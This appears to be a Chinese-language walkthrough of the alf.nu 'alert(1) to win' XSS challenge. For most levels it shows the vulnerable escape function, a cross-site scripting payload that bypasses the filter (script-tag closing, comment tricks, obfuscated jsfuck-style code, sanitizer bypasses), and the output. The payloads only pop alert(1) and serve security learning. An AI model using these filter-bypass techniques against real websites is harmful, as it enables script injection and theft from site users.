https://alf.nu/alert(1)#accesstoken=NoNIWDnsKLzlDa2hkyRw
- Warmup (12)
- Adobe (14)
- JSON (27)
- JavaScript (15)
- Markdown (31)
- DOM (32)
- Callback (14)
- Skandia (52)
- Template (24)
- JSON 2 (35)
- Callback 2 (16)
- Skandia 2 (99)
- iframe
- TI(S)M (25)
- JSON 3 (29)
- Skandia 3 (137)
- RFC4627 (101)
- Well (85)
- No (36)
- K'Z'K (60)
- K'Z'K (84)
- K'Z'K (189)
- Fruit (23)
- Fruit 2 (23)
- Fruit 3
- Capitals
- Quine
- Entities (13)
- Entities 2
function escape(s) {
return '<script>console.log("'+s+'");</script>';
}
热身题,对参数s
没有任何校验,直接上payload吧
");alert(1);("
或者
");alert(1);//
最短的话,12个字符
");alert(1-"
或者
");alert(1|"
天才般的Javascript(劝退)
> 1 + ""
< "1"
> 1 - ""
< 1
function escape(s) {
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}
全局替换了"
为\"
,就是说转义了双引号而没有转义转义字符\
,也可以用</script>
标签闭合,构造payload如下
\");alert(1)//
或者
</script><script>alert(1)//
function escape(s) {
s = JSON.stringify(s);
return '<script>console.log(' + s + ');</script>';
}
使用了JSON.stringify()
函数对s
进行处理,该函数会对双引号"
和转义字符\
进行转义,没有对< > ' /
进行处理。那么闭合script标签,创建一个新的script 标签来执行alert(1),用//
注释掉多余的字符串,payload如下
</script><script>alert(1)//
function escape(s) {
var url = 'javascript:console.log(' + JSON.stringify(s) + ')';
console.log(url);
var a = document.createElement('a');
a.href = url;
document.body.appendChild(a);
a.click();
}
payload
%22);alert(1)//
%22
是双引号"
的URL编码,利用javascript:
伪协议支持URL编码
Output
<a href=javascript:console.log("%22);alert(1)//")></a>
function escape(s) {
var text = s.replace(/</g, '<').replace(/"/g, '"');
// URLs
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
// [[img123|Description]]
text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
return text;
}
第一行代码将所有< "
字符进行了转义
第二行是将形如http://S+
的字符串改写为
<a href="http://S+">http://S+</a>
(S+为匹配一个非空白字符一次或多次)
第三行将形如[[a|b]]
的字符串改写为
<img alt="b" src="a.gif">
先放出payload
[[a|http://onerror=alert(1)//]]
该函数构造的结果为
<img alt="<a href="http://onerror1=alert(1)//" src="a.gif">">http://onerror=alert(1)//]]</a>
利用//
来代替空格,href的起始"
闭合alt的"
,再用//
注释掉最后的"
function escape(s) {
// Slightly too lazy to make two input fields.
// Pass in something like "TextNode#foo"
var m = s.split(/#/);
// Only slightly contrived at this point.
var a = document.createElement('div');
a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
return a.innerHTML;
}
通过#
对字符串s
进行切分,document['create' + m[0]]
相当于调用了document.createXXX()
函数,使用document.createComment()
函数测试一下
Comment#111111
Output
<!--11111-->
那提前闭合注释标签,构造JavaScript代码就行了,payload如下
Comment#--><img/onerror=alert(1) src=x/>
还可以缩短一下
Comment#><iframe/onload=alert(1)
Output
<!--><iframe/onload=alert(1)-->
注:有一个更短的payload,29字符,但是在该网站上无法生效。
Comment#><svg/onload=alert(1)
Output
<!--><svg/onload=alert(1)-->
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);
if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/</g, '\\u003c');
return "<script>" + thing[0] + "(" + json +")</script>";
}
和上一节很相似,输入
aaaa#bbbb
第一个字段为thing[0]
不允许有a-z A-Z [ ] '
中其他字符出现,第二个字段json
对字符\ " <
进行了转义。按照程序的结果,本意应该是构造下面这种形式
Input
Object#bbb
Ouput
<script>Object({"userdata":"bbb"})</script>
但是注意到一个很奇怪的地方,thing[0]
可以包含[ ] '
这些字符,而JSON.stringify()
不对'
进行转义。知道这些构造payload的简单多了。
'#'|alert(1)//
Output
<script>'({"userdata":"'|alert(1)//"})</script>
function escape(s) {
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
toUpperCase()
函数将小写字符转换为大写字符,alert()
函数会变成ALERT()
,无法执行。
可以采用HTML实体编码来绕过,参考HTML实体字符,也可以用AAencode绕过,不过太长了
</script><iframe/onload=alert(1)>
Output
<script>console.log("</SCRIPT><IFRAME/ONLOAD=alert(1)>")</script></script>
function escape(s) {
function htmlEscape(s) {
return s.replace(/./g, function(x) {
return { '<': '<', '>': '>', '&': '&', '"': '"', "'": ''' }[x] || x;
});
}
function expandTemplate(template, args) {
return template.replace(
/{(\w+)}/g,
function(_, n) {
return htmlEscape(args[n]);
});
}
return expandTemplate(
" \n\
<h2>Hello, <span id=name></span>!</h2> \n\
<script> \n\
var v = document.getElementById('name'); \n\
v.innerHTML = '<a href=#>{name}</a>'; \n\
<\/script> \n\
",
{ name : s }
);
}
注入的地方在<a href=#>{name}</a>
中的{name}
字段,对< > & " '
字符进行了转义,但是没有转义\
字符,于是利用十六进制构建payload
\x3ciframe/onload=alert(1)
Output
<h2>Hello, <span id=name></span>!</h2>
<script>
var v = document.getElementById('name');
v.innerHTML = '<a href=#>\x3ciframe/onload=alert(1) </a>';
</script>
2018-10-12更新 26字符
\x3cstyle/onload=alert(1)
24字符,浏览器FireFox 52.6.0
\x3csvg onload=alert(1)
function escape(s) {
s = JSON.stringify(s).replace(/<\/script/gi, '');
return '<script>console.log(' + s + ');</script>';
}
将 s 中的" \
进行转义后,将</script
替换为空串,(g: 全局查找,i:忽略大小写),用双写进行绕过
<</script/script><script>alert(1)//
Output
<script>console.log("</script><script>alert(1)//");</script>
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);
if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/\//g, '\\/');
return "<script>" + thing[0] + "(" + json +")</script>";
}
Callback的加强版本,转义了/
,无法构造//
注释了,如果了解 javascript 的注释是有三种的,分别为// /**/ <!--
,那么利用第三种就可以轻松绕过了
'#';alert(1)<!--
Output
<script>'({"userdata":"';alert(1)<!--"})</script>
花了我两个小时才用137字符完成了这题。
function escape(s) {
if (/[<>]/.test(s)) return '-';
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
如果只是单纯的实现弹窗,那没什么困难的,但是不管使用aaencode还是jsfuck,用的字符都太多了,这两种编码形式写出的payload都超过了1000字符。如果图省事,那推荐使用jjencode,537个字符搞定
");$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.__$+")"+"\"")())()//
但是看到很多人用100来个字符搞定有点不爽啊(80多个字符搞定的我真不知道怎么做到的),先上我的payload吧,再来分析
");_=!1+URL+!0,[][_[0]+_[10]+_[2]+_[2]][_[8]+_[11]+_[7]+_[3]+_[9]+_[38]+_[39]+_[8]+_[9]+_[11]+_[38]](_[1]+_[2]+_[4]+_[38]+_[9]+'(1)')()//
首先来看有效的部分
_=!1+URL+!0,[][_[0]+_[10]+_[2]+_[2]][_[8]+_[11]+_[7]+_[3]+_[9]+_[38]+_[39]+_[8]+_[9]+_[11]+_[38]](_[1]+_[2]+_[4]+_[38]+_[9]+'(1)')()
这段代码在console中输入可以执行alert(1)
,来逐句分析一下
_=!1+URL+!0
执行完毕后,_="falsefunction URL() { [native code] }true"
(强制类型转换后进行字符串的拼接后的结果),类似的全大写函数还有CSS() JSON()
,这段代码给变量_
赋予了一个字符串"falsefunction URL() { [native code] }true"
,通过_[num]
的形式我们可以取到这个字符串中num位置的字符。
fill => _[0]+_[10]+_[2]+_[2]
constructor => _[8]+_[11]+_[7]+_[3]+_[9]+_[38]+_[39]+_[8]+_[9]+_[11]+_[38]
alert => _[1]+_[2]+_[4]+_[38]+_[9]
那么简化后的代码为
[]["fill"]["constructor"]("alert(1)")()
这段代码就变得易读了,要想理解就需要知道jsfuck的工作原理,查看github.com/aemkei/jsfuck 对应的给出firefox浏览器下的payload
");_=!1+URL+!0,[][_[0]+_[10]+_[2]+_[2]][_[8]+_[11]+_[7]+_[3]+_[9]+_[42]+_[43]+_[8]+_[9]+_[11]+_[42]](_[1]+_[2]+_[4]+_[42]+_[9]+'(1)')()//
原因是对于代码_=!1+URL+!0
返回的字符串不一样
"falsefunction URL() {
[native code]
}true"
2018-10-12 99字符 八进制
"|[]['\160\157\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()|"
function escape(s) {
var tag = document.createElement('iframe');
// For this one, you get to run any code you want, but in a "sandboxed" iframe.
//
// https://4i.am/?...raw=... just outputs whatever you pass in.
//
// Alerting from 4i.am won't count.
s = '<script>' + s + '<\/script>';
tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw=' + encodeURIComponent(s);
window.WINNING = function() { youWon = true; };
tag.setAttribute('onload', 'youWon && alert(1)');
return tag.outerHTML;
}
function escape(s) {
function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); }
function html(s) { return s.replace(/[<>"&]/g, function(s) {
return '&#' + s.charCodeAt(0) + ';'; }); }
return (
'<script>' +
'var url = ' + json(s) + '; // We\'ll use this later ' +
'</script>\n\n' +
' <!-- for debugging -->\n' +
' URL: ' + html(s) + '\n\n' +
'<!-- then suddenly -->\n' +
'<script>\n' +
' if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' +
' else new Image().src = url;\n' +
'</script>'
);
}
有两个可控的注入点,一是json(s)
二是html(s)
,前者转义了" \ /"
字符,后者对< > " &
进行了HTML编码。如果我们让s为<!--<script>
Output
<script>var url = "<!--<script>"; // We'll use this later </script>
<!-- for debugging -->
URL: <!--<script>
<!-- then suddenly -->
<script>
if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
else new Image().src = url;
</script>
保存本地执行,并在浏览器中审查元素不难发现,其对<script>
标签的匹配产生了影响,有了3个起始标签而只有2个结束标签,并且一个</script>
标签被注释掉了,调整得到
payload
if(alert(1)/*<!--<script>
function escape(s) {
return s.split('#').map(function(v) {
// Only 20% of slashes are end tags; save 1.2% of total
// bytes by only escaping those.
var json = JSON.stringify(v).replace(/<\//g, '<\\/');
return '<script>console.log('+json+')</script>';
}).join('');
}
字符串s
首先以字符#
分割为字符串数组,然后对数组中的每一个字符串调用匿名函数,每一次调用返回类似<script>console.log('+s[0]+')</script>
的字符串,然后再将其拼接。上一题谈过字符串<!--<script>
会对标签的匹配产生影响,利用这一点首先尝试
<!--<script>#aaa
Output
<script>console.log("<!--<script>")</script><script>console.log("aaa")</script>
将其保存在本地,经过浏览器执行后,使用审查元素可以看到,原本的两个<script>标签被当成一个标签进行处理,由于<!--
后面没有-->
整个标签都没有得到执行,自然console也没有任何的报错信息。于是尝试
<!--<script>#-->
Output
<script>console.log("<!--<script>")</script><script>console.log("-->")</script>
保存本地执行,发现console如下报错
Uncaught SyntaxError: Invalid regular expression: missing /
这个告诉我们,标签的匹配没有了问题,但是在执行javascript代码的时候出现了语法错误,具体来看代码部分
console.log("<!--<script>")</script><script>console.log("-->")
报错信息为:非法的正则表达式:缺少了 / ,也便是说/script><script>console.log("-->")
这个部分被当做了javascript的正则表达式(其形式为/.../
,需要注意在正则表达式中()
也要成对出现),于是构造payload
<!--<script>#)/|alert(1)//-->
Output
<script>console.log("<!--<script>")</script><script>console.log(")/|alert(1)//-->")</script>
function escape(s) {
if (/[\\<>]/.test(s)) return '-';
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
payload
");_=!1+URL+!0,[][_[0]+_[10]+_[2]+_[2]][_[8]+_[11]+_[7]+_[3]+_[9]+_[38]+_[39]+_[8]+_[9]+_[11]+_[38]](_[1]+_[2]+_[4]+_[38]+_[9]+'(1)')()//
function escape(text) {
var i = 0;
window.the_easy_but_expensive_way_out = function() { alert(i++) };
// "A JSON text can be safely passed into JavaScript's eval() function
// (which compiles and executes a string) if all the characters not
// enclosed in strings are in the set of characters that form JSON
// tokens."
if (!(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(
text.replace(/"(\\.|[^"\\])*"/g, '')))) {
try {
var val = eval('(' + text + ')');
console.log('' + val);
} catch (_) {
console.log('Crashed: '+_);
}
} else {
console.log('Rejected.');
}
}
function escape(s) {
http://www.avlidienbrunn.se/xsschallenge/
s = s.replace(/[\r\n\u2028\u2029\\;,()\[\]<]/g, '');
return "<script> var email = '" + s + "'; <\/script>";
}
绕过绕过,我给出的最短payload
'|new Function`a${'alert'+String.fromCharCode`40`+1+String.fromCharCode`41`}`|'
Output
<script> var email = ''|new Function`a${'alert'+String.fromCharCode`40`+1+String.fromCharCode`41`}`|''; </script>
// submitted by Stephen Leppik
function escape(s) {
// remove vowels in honor of K'Z'K the Destroyer
s = s.replace(/[aeiouy]/gi, '');
return '<script>console.log("' + s + '");</script>';
}
采用匿名函数调用的方法,构造[]["pop"]["constructor"]('alert(1)')()
的十六进制绕过,得到payload
"|[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()|"
Output
<script>console.log(""|[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()|"");</script>
// submitted by Stephen Leppik
function escape(s) {
// remove vowels and escape sequences in honor of K'Z'K
// y is only sometimes a vowel, so it's only removed as a literal
s = s.replace(/[aeiouy]|\\((x|u00)([46][159f]|[57]5)|1([04][15]|[15][17]|[26]5))/gi, '')
// remove certain characters that can be used to get vowels
s = s.replace(/[{}!=<>]/g, '');
return '<script>console.log("' + s + '");</script>';
}
payload
"|[]["p\\x6fx6fp"]["c\\x6fx6fnstr\\x75x75ct\\x6fx6fr"]('\\x61x61l\\x65x65rt(1)')()|"
Output
<script>console.log(""|[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()|"");</script>
// submitted by Stephen Leppik
function escape(s) {
// remove vowels in honor of K'Z'K the Destroyer
s = s.replace(/[aeiouy]/gi, '');
// remove certain characters that can be used to get vowels
s = s.replace(/[{}!=<>\\]/g, '');
return '<script>console.log("' + s + '");</script>';
}
payload
"|[]['m'+(++[][[]]+[])[1]+'p']['c'+([]['m'+(++[][[]]+[])[1]+'p']+[])[6]+'nstr'+([][[]]+[])[0]+'ct'+([]['m'+(++[][[]]+[])[1]+'p']+[])[6]+'r']((++[][[]]+[])[1]+'l'+([][[]]+[])[3]+'rt(1)')()|"
Output
<script>console.log(""|[]['m'+(++[][[]]+[])[1]+'p']['c'+([]['m'+(++[][[]]+[])[1]+'p']+[])[6]+'nstr'+([][[]]+[])[0]+'ct'+([]['m'+(++[][[]]+[])[1]+'p']+[])[6]+'r']((++[][[]]+[])[1]+'l'+([][[]]+[])[3]+'rt(1)')()|"");</script>
// CVE-2016-4618
function escape(s) {
var div = document.implementation.createHTMLDocument().createElement('div');
div.innerHTML = s;
function f(n) {
if ('SCRIPT' === n.tagName) n.parentNode.removeChild(n);
for (var i=0; i<n.attributes.length; i++) {
var name = n.attributes[i].name;
if (name !== 'class') { n.removeAttribute(name); }
}
}
[].map.call(div.querySelectorAll('*'), f);
return div.innerHTML;
}
payload Firefox 52.6.0
<svg t onload=alert(1)>
Output
<svg onload="alert(1)"></svg>
// CVE-2016-7650
function escape(s) {
var div = document.implementation.createHTMLDocument().createElement('div');
div.innerHTML = s;
function f(n) {
if (/script/i.test(n.tagName)) n.parentNode.removeChild(n);
for (var i=0; i<n.attributes.length; i++) {
var name = n.attributes[i].name;
if (name !== 'class') { n.removeAttribute(name); }
}
}
[].map.call(div.querySelectorAll('*'), f);
return div.innerHTML;
}
payload
<svg t onload=alert(1)>
Output
<svg onload="alert(1)"></svg>
// submitted by securityMB
function escape(s) {
function htmlentities(s) {
return s.replace(/[&<>"']/g, c => `&#${c.charCodeAt(0)};`)
}
s = htmlentities(s);
return `<script>
var obj = {};
obj["${s}"] = "${s}";
</script>`;
}
两个注入点,利用好注释符和转义字符 payload
];alert(1)//\
Output
<script>
var obj = {};
obj["];alert(1)//\"] = "];alert(1)//\";
</script>